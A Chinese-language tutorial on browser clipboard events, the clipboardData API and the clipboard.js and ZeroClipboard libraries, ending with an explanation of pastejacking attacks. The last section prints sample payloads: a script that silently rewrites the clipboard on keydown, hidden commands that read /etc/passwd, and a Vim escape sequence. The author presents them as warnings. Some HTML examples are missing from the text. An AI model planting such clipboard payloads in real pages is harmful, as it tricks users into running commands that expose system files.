摘要：直到的到來，將剪貼板相關(guān)事件納入了規(guī)范。但是，在和中，只有在處理剪貼板事件期間，對象才有效，這是為了防止對剪貼板的未授權(quán)訪問在中，則可以隨時訪問對象。

本部分系列文章Github Repo

HTML5實戰(zhàn)與剖析之剪貼板事件

IE是最早支持與剪貼板相關(guān)的事件，以及通過JavaScript訪問剪貼板數(shù)據(jù)的瀏覽器。 IE的實現(xiàn)成為了事實上的標(biāo)準(zhǔn)，隨后Firefox 3+ 、 Chrome和Safari 2+都支持類似的事件和剪貼板的訪問，但是Opera不支持通過JavaScript訪問剪貼板。直到HTML5的到來，將剪貼板相關(guān)事件納入了 HTML5規(guī)范。

要訪問剪貼板中的數(shù)據(jù)，可以通過clipboardData對象：在IE中，clipboardData對象是window對象的屬性;而在 Chrome、Safari和Firefox 4+中，clipboardData對象是相應(yīng)event對的屬性。但是，在Chrome、Safari和Firefox 4+中，只有在處理剪貼板事件期間，clipboardData對象才有效，這是為了防止對剪貼板的未授權(quán)訪問;在IE中，則可以隨時訪問 clipboardData對象。為了確?？鐬g覽器兼容，最好只在發(fā)生剪貼板事件期間使用這個對象。

//獲取剪貼板數(shù)據(jù)方法
function getClipboardText(event){
    var clipboardData = event.clipboardData || window.clipboardData;
    return clipboardData.getData("text");
};


//設(shè)置剪貼板數(shù)據(jù)
function setClipboardText(event, value){
    if(event.clipboardData){
        return event.clipboardData.setData("text/plain", value);
    }else if(window.clipboardData){
        return window.clipboardData.setData("text", value);
    }
};

這個clipboardData對象有三個方法：getData()方法、setData()方法和clearData()方法。其中，getData()方法用于從剪貼板中獲取數(shù)據(jù)，它接收一個參數(shù)，即要取得的數(shù)據(jù)格式。在IE中，有兩種數(shù)據(jù)格式：’text”和”URL”。在Chrome、Safari和Firefox 4+中，這個參數(shù)是一種MIME類型;不過，可以用”text”代表”text/plain”。setData()方法的第一個參數(shù)也是數(shù)據(jù)類型，第二個參數(shù)是要放在剪貼板中的文字。對于第一個參數(shù)，IE照樣是支持”text”和”URL”，而在Chrome、Safari中，仍然支持MIME類型。但是與getData()方法不同的是，在Chrome、Safari中的setData()方法不能識別”text”類型。這兩個瀏覽器在成功將文本放到剪貼板中后，都會返回true;否則返回false。好了說了這么多，就來看下面的小例子吧。

下面就是6個剪貼板事件。

beforecopy：在發(fā)生復(fù)制操作前觸發(fā);

copy：在發(fā)生復(fù)制操作的時候觸發(fā);

beforecut：在發(fā)生剪切操作前觸發(fā);

cut：在發(fā)生剪切操作的時候觸發(fā);

beforepaste：在發(fā)生粘貼操作前觸發(fā);

paste：在發(fā)生粘貼操作的時候觸發(fā)。

在Firefox、Chrome和Safari中，beforecopy、beforecut和beforepaste事件只會在顯示針對文本框的上下文 菜單(預(yù)期將發(fā)生剪貼板事件)的情況下觸發(fā)。但是IE則會在觸發(fā)copy、cut和paste事件之前先觸發(fā)這些事件。至于copy、cut和paste 事件，只要是在上下文菜單(右鍵菜單)中選擇了相應(yīng)選項，或者使用了相應(yīng)的鍵盤組合鍵如(ctrl+v)，所有瀏覽器都會觸發(fā)他們。這里以beforecopy為例：

    


    Select some text on this page and press CTRL + C!

與標(biāo)準(zhǔn)的Clipboard API相比，clipboardjs具有相對較好地兼容性與易用性，它的瀏覽器適用范圍是：

筆者實機(jī)測試過部分Android 4.0+與iOS 8+的移動設(shè)備，還是可以使用的。

可以基于npm安裝：

npm install clipboard --save

或者基于bower安裝：

bower install clipboard --save

安裝之后直接引入即可：

注意，所有的Clipboard初始化時候都需要傳入一個DOM元素，然后基于H5的data-*屬性來控制待操作的對象，譬如：

    






new Clipboard(".btn");

這樣就建立了基本的拷貝操作，如果是需要進(jìn)行剪切操作的話：

Mussum ipsum cacilds...



    Cut to clipboard

也可以直接復(fù)制一些屬性：

    Copy to clipboard

clipboardjs也為我們設(shè)置了一些在調(diào)用前后的監(jiān)聽事件，最常用的就是success與error事件：

var clipboard = new Clipboard(".btn");

clipboard.on("success", function(e) {
    console.info("Action:", e.action);
    console.info("Text:", e.text);
    console.info("Trigger:", e.trigger);

    e.clearSelection();
});

clipboard.on("error", function(e) {
    console.error("Action:", e.action);
    console.error("Trigger:", e.trigger);
});

如果你希望利用代碼動態(tài)控制目標(biāo)元素和文本內(nèi)容，clipboardjs也提供了一系列易用的API，你要做的就是按照規(guī)范聲明方程。譬如，如果你想要動態(tài)設(shè)置操作目標(biāo)target，可以直接返回一個Node節(jié)點：

new Clipboard(".btn", {
    target: function(trigger) {
        return trigger.nextElementSibling;
    }
});

如果想要動態(tài)設(shè)置文本內(nèi)容，可以返回一個String：

new Clipboard(".btn", {
    text: function(trigger) {
        return trigger.getAttribute("aria-label");
    }
});

另外，如果你是一個單頁應(yīng)用，可以利用destroy來在DOM的生命周期中進(jìn)行控制：

var clipboard = new Clipboard(".btn");
clipboard.destroy();

ZeroClipboard是只要在能夠使用Flash的地方就可以使用，如果碰上Flash被禁止了的就歇菜了?，F(xiàn)在不是很建議使用，不過在某些需要兼容的老版本瀏覽器上可以考慮：

  

    Copy to Clipboard

    

    

  



// main.js

var client = new ZeroClipboard( document.getElementById("copy-button") );



client.on( "ready", function( readyEvent ) {

  // alert( "ZeroClipboard SWF is ready!" );



  client.on( "aftercopy", function( event ) {

    // `this` === `client`

    // `event.target` === the element that was clicked

    event.target.style.display = "none";

    alert("Copied text to clipboard: " + event.data["text/plain"] );

  } );

} );

筆者也是最近看到了Github上的這篇關(guān)于復(fù)制劫持的文章，才打算把之前的網(wǎng)頁剪貼板相關(guān)的東西整理下發(fā)出來。瀏覽器允許開發(fā)者能夠自主地控制用戶剪貼板，不過這樣也就導(dǎo)致了部分惡意網(wǎng)頁可能引導(dǎo)用戶無意間執(zhí)行惡意代碼。最常見的就是譬如你瀏覽某個教程網(wǎng)站，上面提示你輸入以下命令：

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

作為資深懶貨，我肯定選擇復(fù)制粘貼啦，然后我就Happy的Ctrl+C，然后我驚訝的發(fā)現(xiàn)自己的剪貼板里的內(nèi)容變成了：

git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d "
";echo -e "!
That was a bad idea. Don"""""t copy code from websites you don"""""t trust!

Here"""""s the first line of your /etc/passwd: ";head -n1 /etc/passwd

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

這種攻擊方法還是基于典型的HTML/CSS隱藏屬性，在開發(fā)者工具中查看DOM樹可以發(fā)現(xiàn)，在我們看不見的地方放了這些東西：

當(dāng)我們選定復(fù)制的時候，其實是把那些隱藏的部分全部選上了。而我們這邊要討論的剪貼板劫持攻擊跟這個的效果很類似，只不過剪貼板劫持攻擊會更讓你防不勝防一點，它可以在你任何一個點擊事件后觸發(fā)，并且可以控制將一些十六進(jìn)制字符復(fù)制進(jìn)去，有時候還能用來干掉你的Vim，還是先看一個例子:

可以看出這次沒有隱藏DOM元素，但是當(dāng)我們復(fù)制了之后，得到的卻是：

touch ~/.evil

clear

echo "not evil"

這次是因為它加了這么個控制腳本：

function copyTextToClipboard(text) {

              var textArea = document.createElement("textarea");



              //

              // *** This styling is an extra step which is likely not required. ***

              //

              // Why is it here? To ensure:

              // 1. the element is able to have focus and selection.

              // 2. if element was to flash render it has minimal visual impact.

              // 3. less flakyness with selection and copying which **might** occur if

              //    the textarea element is not visible.

              //

              // The likelihood is the element won"t even render, not even a flash,

              // so some of these are just precautions. However in IE the element

              // is visible whilst the popup box asking the user for permission for

              // the web page to copy to the clipboard.

              //



              // Place in top-left corner of screen regardless of scroll position.

              textArea.style.position = "fixed";

              textArea.style.top = 0;

              textArea.style.left = 0;



              // Ensure it has a small width and height. Setting to 1px / 1em

              // doesn"t work as this gives a negative w/h on some browsers.

              textArea.style.width = "2em";

              textArea.style.height = "2em";



              // We don"t need padding, reducing the size if it does flash render.

              textArea.style.padding = 0;



              // Clean up any borders.

              textArea.style.border = "none";

              textArea.style.outline = "none";

              textArea.style.boxShadow = "none";



              // Avoid flash of white box if rendered for any reason.

              textArea.style.background = "transparent";





              textArea.value = text;



              document.body.appendChild(textArea);



              textArea.select();



              try {

                var successful = document.execCommand("copy");

                var msg = successful ? "successful" : "unsuccessful";

                console.log("Copying text command was " + msg);

              } catch (err) {

                console.log("Oops, unable to copy");

              }



              document.body.removeChild(textArea);

            }



            document.addEventListener("keydown", function(event) {

                var ms = 800;  

                var start = new Date().getTime();

                var end = start;

                while(end < start + ms) {

                    end = new Date().getTime();

                } 

                copyTextToClipboard("touch ~/.evil
clear
echo "not evil"");

            });

防不勝防啊。這東西就好像當(dāng)年某些釣魚網(wǎng)站讓你亂下一些PE病毒一樣，并沒有直接的解決方案，最好的防護(hù)方式就是以后你復(fù)制命令到終端的時候仔細(xì)瞅瞅，或者先復(fù)制到一個第三方的編輯器內(nèi)看看有沒有啥奇怪的命令。不過別用Vim作為驗證，譬如如下的攻擊方式：

copyTextToClipboard("echo "evil"
 x1b:!cat /etc/passwd
");

它會利用Vim的Macro來獲取你的用戶密碼等。如果你用的是ITerm，它會提醒你那些自動利用換行來執(zhí)行的命令：